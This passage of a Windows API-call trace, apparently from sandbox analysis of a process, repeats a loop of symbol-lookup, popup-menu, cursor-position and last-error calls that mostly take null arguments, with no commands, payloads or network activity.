SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.914] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.914] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.914] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.914] GetLastError () returned 0x579 [0140.914] SetLastError (dwErrCode=0x579) [0140.914] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.914] SymCleanup (hProcess=0x0) returned 0 [0140.914] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.914] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.914] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.914] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1141, param_4=184, param_5=0x0, param_6=0x0) returned 0 [0140.914] GetLastError () returned 0x579 [0140.914] SetLastError (dwErrCode=0x579) [0140.914] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.914] SymCleanup (hProcess=0x0) returned 0 [0140.914] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.914] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.914] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.914] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.914] GetLastError () returned 0x579 [0140.915] SetLastError (dwErrCode=0x579) [0140.915] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.915] SymCleanup (hProcess=0x0) returned 0 [0140.915] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.915] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.915] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.915] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0140.915] GetLastError () returned 0x579 [0140.915] SetLastError (dwErrCode=0x579) [0140.915] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.915] SymCleanup (hProcess=0x0) returned 0 [0140.915] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.915] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.915] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.915] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.915] GetLastError () returned 0x579 [0140.915] SetLastError (dwErrCode=0x579) [0140.915] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.915] SymCleanup (hProcess=0x0) returned 0 [0140.915] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.915] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.915] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.915] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0140.915] GetLastError () returned 0x579 [0140.915] SetLastError (dwErrCode=0x579) [0140.916] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.916] SymCleanup (hProcess=0x0) returned 0 [0140.916] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.916] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.916] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.916] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=166, param_4=89, param_5=0x0, param_6=0x0) returned 0 [0140.916] GetLastError () returned 0x579 [0140.916] SetLastError (dwErrCode=0x579) [0140.916] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.916] SymCleanup (hProcess=0x0) returned 0 [0140.916] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.916] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.916] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.916] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.916] GetLastError () returned 0x579 [0140.916] SetLastError (dwErrCode=0x579) [0140.916] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.916] SymCleanup (hProcess=0x0) returned 0 [0140.916] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.916] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.916] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.916] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.916] GetLastError () returned 0x579 [0140.916] SetLastError (dwErrCode=0x579) [0140.917] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.917] SymCleanup (hProcess=0x0) returned 0 [0140.917] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.917] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.917] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.917] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.917] GetLastError () returned 0x579 [0140.917] SetLastError (dwErrCode=0x579) [0140.917] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.917] SymCleanup (hProcess=0x0) returned 0 [0140.917] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.917] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.917] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.917] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0140.917] GetLastError () returned 0x579 [0140.917] SetLastError (dwErrCode=0x579) [0140.917] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.917] SymCleanup (hProcess=0x0) returned 0 [0140.917] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.917] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.917] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.917] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=674, param_4=422, param_5=0x0, param_6=0x0) returned 0 [0140.917] GetLastError () returned 0x579 [0140.917] SetLastError (dwErrCode=0x579) [0140.917] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.917] SymCleanup (hProcess=0x0) returned 0 [0140.918] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.918] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.918] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.918] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.918] GetLastError () returned 0x579 [0140.918] SetLastError (dwErrCode=0x579) [0140.918] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.918] SymCleanup (hProcess=0x0) returned 0 [0140.918] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.918] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.918] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.918] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0140.918] GetLastError () returned 0x579 [0140.918] SetLastError (dwErrCode=0x579) [0140.918] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.918] SymCleanup (hProcess=0x0) returned 0 [0140.918] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.918] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.918] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.918] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.918] GetLastError () returned 0x579 [0140.918] SetLastError (dwErrCode=0x579) [0140.918] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.918] SymCleanup (hProcess=0x0) returned 0 [0140.918] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.919] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.919] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.919] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0140.919] GetLastError () returned 0x579 [0140.919] SetLastError (dwErrCode=0x579) [0140.919] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.919] SymCleanup (hProcess=0x0) returned 0 [0140.919] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.919] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.919] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.919] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=93, param_4=299, param_5=0x0, param_6=0x0) returned 0 [0140.919] GetLastError () returned 0x579 [0140.919] SetLastError (dwErrCode=0x579) [0140.919] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.919] SymCleanup (hProcess=0x0) returned 0 [0140.919] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.919] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.919] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.919] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.919] GetLastError () returned 0x579 [0140.919] SetLastError (dwErrCode=0x579) [0140.919] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.919] SymCleanup (hProcess=0x0) returned 0 [0140.919] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.919] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.920] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.920] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.920] GetLastError () returned 0x579 [0140.920] SetLastError (dwErrCode=0x579) [0140.920] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.920] SymCleanup (hProcess=0x0) returned 0 [0140.920] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.920] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.920] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.920] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.920] GetLastError () returned 0x579 [0140.920] SetLastError (dwErrCode=0x579) [0140.920] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.920] SymCleanup (hProcess=0x0) returned 0 [0140.920] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.920] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.920] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.921] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0140.921] GetLastError () returned 0x579 [0140.921] SetLastError (dwErrCode=0x579) [0140.921] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.921] SymCleanup (hProcess=0x0) returned 0 [0140.921] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.921] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.921] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.921] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=384, param_4=441, param_5=0x0, param_6=0x0) returned 0 [0140.921] GetLastError () returned 0x579 [0140.921] SetLastError (dwErrCode=0x579) [0140.921] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.921] SymCleanup (hProcess=0x0) returned 0 [0140.921] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.921] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.921] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.921] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.921] GetLastError () returned 0x579 [0140.921] SetLastError (dwErrCode=0x579) [0140.921] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.921] SymCleanup (hProcess=0x0) returned 0 [0140.922] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.922] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.922] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.922] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0140.922] GetLastError () returned 0x579 [0140.922] SetLastError (dwErrCode=0x579) [0140.922] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.922] SymCleanup (hProcess=0x0) returned 0 [0140.922] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.922] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.922] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.922] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.922] GetLastError () returned 0x579 [0140.922] SetLastError (dwErrCode=0x579) [0140.922] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.922] SymCleanup (hProcess=0x0) returned 0 [0140.922] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.922] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.922] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.922] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0140.922] GetLastError () returned 0x579 [0140.922] SetLastError (dwErrCode=0x579) [0140.922] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.922] SymCleanup (hProcess=0x0) returned 0 [0140.922] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.923] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.923] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.923] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1031, param_4=467, param_5=0x0, param_6=0x0) returned 0 [0140.923] GetLastError () returned 0x579 [0140.923] SetLastError (dwErrCode=0x579) [0140.923] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.923] SymCleanup (hProcess=0x0) returned 0 [0140.923] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.923] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.923] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.923] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.923] GetLastError () returned 0x579 [0140.923] SetLastError (dwErrCode=0x579) [0140.923] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.923] SymCleanup (hProcess=0x0) returned 0 [0140.923] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.923] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.923] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.923] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0140.923] GetLastError () returned 0x579 [0140.923] SetLastError (dwErrCode=0x579) [0140.923] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.923] SymCleanup (hProcess=0x0) returned 0 [0140.923] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.923] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.923] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.924] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.924] GetLastError () returned 0x579 [0140.924] SetLastError (dwErrCode=0x579) [0140.924] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.924] SymCleanup (hProcess=0x0) returned 0 [0140.924] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.924] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.924] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.924] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0140.924] GetLastError () returned 0x579 [0140.924] SetLastError (dwErrCode=0x579) [0140.924] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.924] SymCleanup (hProcess=0x0) returned 0 [0140.924] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.924] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.924] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.924] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=860, param_4=602, param_5=0x0, param_6=0x0) returned 0 [0140.924] GetLastError () returned 0x579 [0140.924] SetLastError (dwErrCode=0x579) [0140.924] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.924] SymCleanup (hProcess=0x0) returned 0 [0140.924] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.924] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.924] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.925] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.925] GetLastError () returned 0x579 [0140.925] SetLastError (dwErrCode=0x579) [0140.925] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.925] SymCleanup (hProcess=0x0) returned 0 [0140.925] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.925] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.925] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.925] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0140.925] GetLastError () returned 0x579 [0140.925] SetLastError (dwErrCode=0x579) [0140.925] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.925] SymCleanup (hProcess=0x0) returned 0 [0140.925] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.925] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.925] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.925] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.925] GetLastError () returned 0x579 [0140.925] SetLastError (dwErrCode=0x579) [0140.925] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.925] SymCleanup (hProcess=0x0) returned 0 [0140.925] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.925] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.925] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.926] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0140.926] GetLastError () returned 0x579 